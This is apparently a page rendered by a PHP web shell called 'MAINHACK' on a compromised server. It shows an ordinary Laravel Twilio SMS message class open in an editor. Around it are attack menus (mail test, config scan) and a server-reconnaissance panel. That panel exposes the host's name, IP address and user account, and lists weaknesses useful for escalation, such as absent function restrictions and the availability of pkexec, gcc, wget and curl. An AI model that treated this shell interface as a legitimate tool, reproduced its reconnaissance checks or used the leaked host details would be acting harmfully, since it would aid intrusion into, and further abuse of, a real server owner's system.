[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwilioSmsMessage.php
<?php namespace NotificationChannels\Twilio; class TwilioSmsMessage extends TwilioMessage { /** * @var null|string */ public $alphaNumSender; /** * @var null|string */ public $messagingServiceSid; /** * @var null|string */ public $applicationSid; /** * @var null|bool */ public $forceDelivery; /** * @var null|float */ public $maxPrice; /** * @var null|bool */ public $provideFeedback; /** * @var null|int */ public $validityPeriod; /** * Get the from address of this message. * * @return null|string */ public function getFrom(): ?string { if ($this->from) { return $this->from; } if ($this->alphaNumSender !== null && $this->alphaNumSender !== '') { return $this->alphaNumSender; } return null; } /** * Set the messaging service SID. * * @param string $messagingServiceSid * @return $this */ public function messagingServiceSid(string $messagingServiceSid): self { $this->messagingServiceSid = $messagingServiceSid; return $this; } /** * Get the messaging service SID of this message. * * @return null|string */ public function getMessagingServiceSid(): ?string { return $this->messagingServiceSid; } /** * Set the alphanumeric sender. * * @param string $sender * @return $this */ public function sender(string $sender): self { $this->alphaNumSender = $sender; return $this; } /** * Set application SID for the message status callback. * * @param string $applicationSid * @return $this */ public function applicationSid(string $applicationSid): self { $this->applicationSid = $applicationSid; return $this; } /** * Set force delivery (Deliver message without validation). * * @param bool $forceDelivery * @return $this */ public function forceDelivery(bool $forceDelivery): self { $this->forceDelivery = $forceDelivery; return $this; } /** * Set the max price (in USD dollars). * * @param float $maxPrice * @return $this */ public function maxPrice(float $maxPrice): self { $this->maxPrice = $maxPrice; return $this; } /** * Set the provide feedback option. * * @param bool $provideFeedback * @return $this */ public function provideFeedback(bool $provideFeedback): self { $this->provideFeedback = $provideFeedback; return $this; } /** * Set the validity period (in seconds). * * @param int $validityPeriodSeconds * * @return $this */ public function validityPeriod(int $validityPeriodSeconds): self { $this->validityPeriod = $validityPeriodSeconds; return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002